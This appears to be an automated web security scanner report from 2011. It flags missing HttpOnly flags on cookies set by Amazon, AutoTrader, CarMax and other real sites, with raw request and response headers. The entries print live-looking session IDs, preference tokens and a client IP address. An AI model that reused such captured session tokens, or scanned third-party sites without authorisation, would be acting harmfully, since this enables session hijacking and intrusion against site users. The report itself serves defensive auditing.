HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:05:20 GMT Server: Server x-amz-id-1: 0JE81R4J15T5AK071TZV p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: 4o8GRyUKmn3DkY5PnyV64O2bpKKjAgNwr+I4JvwWlUHgakGrnSAutbBsj2pwvLzy Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=183-9936733-9404845; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=gpJo3CBiqTqDVIjaNvl4zvNYaep1x/cFw36XGdvu+t3AZoNYj5i0ue/20d7C2ZC+I33rSpZQv0bL0wk1Ew8YoO+rtNcIBPKLYOhOlxvFtzRIdn3kvGu6M4tMOkmBEeryBbTVlsJzSNcfMpAFM/xng7ZCP9yYT0m2OdKey3rxmCeD+Fl0AmJvQvFSHWkk425/o8Da9DpaI74WLGaJ7uNOvo6JLwZb5sYP9TvVnm5hmJQsWKXZoF2OyiWVivGgzTAUd6pRUIbYAZkt1sGVL+jil+zZfxZVnjBewrBhOy9v7AhUD8T6SoAGbb4KE5ZJBYWH2OXsSjuLHVIc52YxHzs6raEMD1dV4RY1XTDpsD0MSkGHFH6QBIcq1zDxTwlTMAha08n0zKNwM+cU9SxT/rymeyJe0yjBe5km9qvYTfgoBDkuOc+G0APo8cpXuSfIyagOnBt68PFK8so=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:05:21 2011 GMT Content-Length: 243877
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=188-3953038-0825847; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=bK6rGx+CGyD+cP8GmimTlX4yOKqJEvwu6UnJY2SjL1UcG5vQjcyPPRSMkmQN8sbphtWyqe3kQNCI8rylaXXfj7BtPqZ81YiplXuRUKMy3Z/2mvrL0RV2OkiG88oBA7HbQe9Kd7fvezmpNGVnUs/WKVjx/v0XDHsIO3F31lrklY6f9VkJODasmR+vrmz5jfMxq2bRIKLa3TnEq25JcifPmFz90PVXykz/U8VHJ0uNE7A+Lbt2L2Z/SjjIzqMfkvaEaJ5CGm8K5P8lXwVh0vUHjthXVRSI9Cep53mqSnG9l0pUNqqdm4ZhxMz2Fnam7evwK9iiJKrdcr/H6916sNYxoaW3SE1y+GzhrAbM2j5TccGcCjdm1TEIUPGgRv1ET/0d7xHLJPqSIn5j3GRpNMwhQIwtYGX6XK/au2mTa3txsuMyDFNmteb/ybxsSFJKnNmQPriNDYGWivE=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:34 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/B0037UT1LY?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=B0037UT1LY&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:34 GMT Server: Server x-amz-id-1: 17DR8YMYSFMRZS8CDJ3Y p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: VnWywM5oGusSEKwA0oEmF9YQZW0sC+3d/bn1D6tOPMIwmjnxiuAhufUUuKPMm5+U Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=188-3953038-0825847; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=bK6rGx+CGyD+cP8GmimTlX4yOKqJEvwu6UnJY2SjL1UcG5vQjcyPPRSMkmQN8sbphtWyqe3kQNCI8rylaXXfj7BtPqZ81YiplXuRUKMy3Z/2mvrL0RV2OkiG88oBA7HbQe9Kd7fvezmpNGVnUs/WKVjx/v0XDHsIO3F31lrklY6f9VkJODasmR+vrmz5jfMxq2bRIKLa3TnEq25JcifPmFz90PVXykz/U8VHJ0uNE7A+Lbt2L2Z/SjjIzqMfkvaEaJ5CGm8K5P8lXwVh0vUHjthXVRSI9Cep53mqSnG9l0pUNqqdm4ZhxMz2Fnam7evwK9iiJKrdcr/H6916sNYxoaW3SE1y+GzhrAbM2j5TccGcCjdm1TEIUPGgRv1ET/0d7xHLJPqSIn5j3GRpNMwhQIwtYGX6XK/au2mTa3txsuMyDFNmteb/ybxsSFJKnNmQPriNDYGWivE=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:34 2011 GMT Content-Length: 440777
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=176-7992041-7051429; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dvds-used-hd-action-comedy-oscar/b HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:30 GMT Server: Server x-amz-id-1: 0HWNJZZ0K25G6APS0SCV p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: PlF2/QEU0gca0keikYl5AAloXjb8+bYTwS4SenUAsR2Hj9g7OaMuaVTR9h/a5nWz Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=176-7992041-7051429; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=180-2179319-0570468; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /gp/css/homepage.html/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:28 GMT Server: Server x-amz-id-1: 1JYB2VNQP8C55BB9NAK4 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: 3icGnhgAgfZUWLOZdmzfhDcF9EfU4+FBrZdxGpszK5HnHwSQN6UjuQ== Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=180-2179319-0570468; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16226
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=182-2480063-1810947; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /gp/gc/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:29 GMT Server: Server x-amz-id-1: 1ARA2838P595NDE5BZ28 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: NeLbCQZvKIRHPa3udnf+jNalHfYaZDtVVTT+qpr1m3zHmdMhK0a3n/4PuJMtXurr Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=182-2480063-1810947; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16234
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=177-3345764-3077262; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=1eR/Gb/7VAeIWvMabpkc9WVd0hSTZUbBg6Yo0T7TCpNQeuSuXtGxH2kY6bTAbin+sFXFOKV5+ocOk7K3+MvDkq0/b9bHz0ODJNpZCfzlXrKaMkf2mByUw4O7H6y0HxLzB0zDpXYjvDZIG9tAgupLtlSzvaVuVoeT9Dw57HxRkT1qFd69t1G9yhJCF1dMGn6BtkhaXaKQIwqLrzarx2jcK/uWu/DYGLfPjmFfwQeqDQqf1Pu2Z67u5nMckQSNU+AXG+4uuNDdjSW4U7/7jDdJMbrRu9ZM6nSR6im5LlC77EvTc5TQz8tq18VhoFQQ90njlOAwxtXq+PDB/vmIDD+i66lzV9/NoXGIbcoNaqBVAhvyZOIdxNL/NLFlkx8w8BdoJeoQup2Vg9OErw1DYhMF9610T7Jg13XTgsW4sfARA2h+TBwY5xsP9yVw1aDK1Hh6; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:19 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /gp/product/0596804946?ie=UTF8&tag=severdia-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596804946 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:19 GMT Server: Server x-amz-id-1: 1GMNYJAKA4TJD7BE20PT p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: rRZgZjI7evzN2uK+PGBNvEWrhG1Qajm2TBox690BsTrGBbLn0XvjcMMT1QA/Cp32 Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=177-3345764-3077262; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=1eR/Gb/7VAeIWvMabpkc9WVd0hSTZUbBg6Yo0T7TCpNQeuSuXtGxH2kY6bTAbin+sFXFOKV5+ocOk7K3+MvDkq0/b9bHz0ODJNpZCfzlXrKaMkf2mByUw4O7H6y0HxLzB0zDpXYjvDZIG9tAgupLtlSzvaVuVoeT9Dw57HxRkT1qFd69t1G9yhJCF1dMGn6BtkhaXaKQIwqLrzarx2jcK/uWu/DYGLfPjmFfwQeqDQqf1Pu2Z67u5nMckQSNU+AXG+4uuNDdjSW4U7/7jDdJMbrRu9ZM6nSR6im5LlC77EvTc5TQz8tq18VhoFQQ90njlOAwxtXq+PDB/vmIDD+i66lzV9/NoXGIbcoNaqBVAhvyZOIdxNL/NLFlkx8w8BdoJeoQup2Vg9OErw1DYhMF9610T7Jg13XTgsW4sfARA2h+TBwY5xsP9yVw1aDK1Hh6; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:19 2011 GMT Content-Length: 407243
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=192-0833084-3663062; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /gp/site-directory/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:29 GMT Server: Server x-amz-id-1: 040X2S941YQ8YM9GDF3Y p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: sl07PFCJKDLvXHwNIxyGk0Yh+o6P2TnOLpehS7jphg0PPwo4AItme2BkehKpR0Nz Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=192-0833084-3663062; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 106589
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=181-0349682-3421209; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /music-rock-classical-pop-jazz/b HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:26 GMT Server: Server x-amz-id-1: 1AWZZSHBMYQFXNK2TZN0 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: XKxFVzH0piW6bh12P3jE4jVP61ZQQfn1i5c66cBPEQVMNGeFeEPIQFWJv/MdsXCT Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=181-0349682-3421209; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=186-2589969-2680600; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /toys/b HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:33 GMT Server: Server x-amz-id-1: 036W1XT31RW6BQB2XSMW p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: kZWb7JrdWVARHF80ONC/A4r3Jr1hWDeGnSCm1H+YTMFGi/6Qk4MnrnFI1vNP5uxA Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=186-2589969-2680600; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and do not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=186-8078621-7036840; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /wishlist/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:28 GMT Server: Server x-amz-id-1: 0Z3Y87WRFKJ1Q11M2G0K p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: Ego3ck6jsiMYzZQy5mq4k0LI7SMs9DdekEwnw6kJ4wxR9tBB8EcVyWP5nD7nnlOe Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=186-8078621-7036840; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16234
The following cookie was issued by the application and does not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:24 GMT Server: Server x-amz-id-1: 0V0RKC4376K2YMDSV37C p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: A6zGDRGUjbMlYPxnk59HD10S5EjU04c0tVHuI5EisIW4w9Xtq+yRZhGulJQoodS8 Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16197
The following cookie was issued by the application and does not have the HttpOnly flag set:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22/x3e/x3cli HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:24 GMT Server: Server x-amz-id-1: 0PCK2Z2XXY6R48VWHP5C p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: c5+vukLbuLrPzb9XbB4xNsX5E9P5pKl7cpikC6014m92Vy9HvsdHPJ1S4ooy8A74 Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16197
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.php HTTP/1.1 Host: www.americascupmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:06:26 GMT Server: Apache Set-Cookie: PHPSESSID=69ffa747e74ec3fc598608ba70c8ece5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 63617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Americas Cup Media</ ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.aspirationtech.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /x22 HTTP/1.1 Host: www.aub.kg Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?WT.mc_id=1824&siteID=1824 HTTP/1.1 Host: www.autocheck.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:54:12 GMT Server: Apache Set-Cookie: Apache=173.193.214.243.19751295913252218; path=/; expires=Wed, 23-Feb-11 23:54:12 GMT Cache-Control: private P3P: policyref="http://www.autocheck.com/w3c/p3p.xml", CP="NON DSP COR NID TAIa OUR NOR STA" Cache-Control: private Set-Cookie: referralCookie=dmCvyWYCQne4gqVC62; path=/; expires=Wed, 23-Feb-2011 23:54:11 GMT Set-Cookie: JSESSIONID=dmCvyWYCQne4gqVC62; path=/ Connection: close Content-Type: text/html Content-Length: 29237
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:56:28 GMT Server: Apache Set-Cookie: JSESSIONID=4C16AC510625457D15A58A2D4558BCD7; Path=/ Set-Cookie: ATC_USER_ZIP=; Domain=.autotrader.com; Expires=Tue, 31-Jan-2012 23:56:28 GMT; Path=/ P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Set-Cookie: BIGipServerAT-Production_hhtp=3526518282.61475.0000; path=/ Content-Length: 59997
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hornav/trader/index.jsp HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:56:10 GMT Server: Apache Set-Cookie: JSESSIONID=D94B6DD5A6F34AF02DDCF09FF98C7E8B; Path=/ Set-Cookie: ATC_USER_ZIP=; Domain=.autotrader.com; Expires=Tue, 31-Jan-2012 23:56:10 GMT; Path=/ Set-Cookie: ac_afflt=; Path=/ Content-Language: en P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=ISO-8859-1 Set-Cookie: BIGipServerAT-Production_hhtp=2167563786.61475.0000; path=/ Content-Length: 43738
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /soundings/ HTTP/1.1 Host: www.barkerstores.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 14:24:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Set-Cookie: ASP.NET_SessionId=etd10v55qnlha3bgxe4zk255; path=/ Set-Cookie: chk_support=check; path=/ Set-Cookie: SOU_CustID=SOU13989; path=/ Set-Cookie: SOU_CartID=SOU-9E35923E-12511; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26388
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>Soundings Online Catalog</title> <meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0"> <me ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=ael7hgofe5550n3tan4s3cqg47; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:49:26 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: PHPSESSID=ael7hgofe5550n3tan4s3cqg47; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61805
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.beneteaucountdown.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /experiments/jqShuffle/ HTTP/1.1 Host: www.benjaminsterling.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.careersingear.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.carmax.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title> CarMax - Browse used cars and new cars online ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
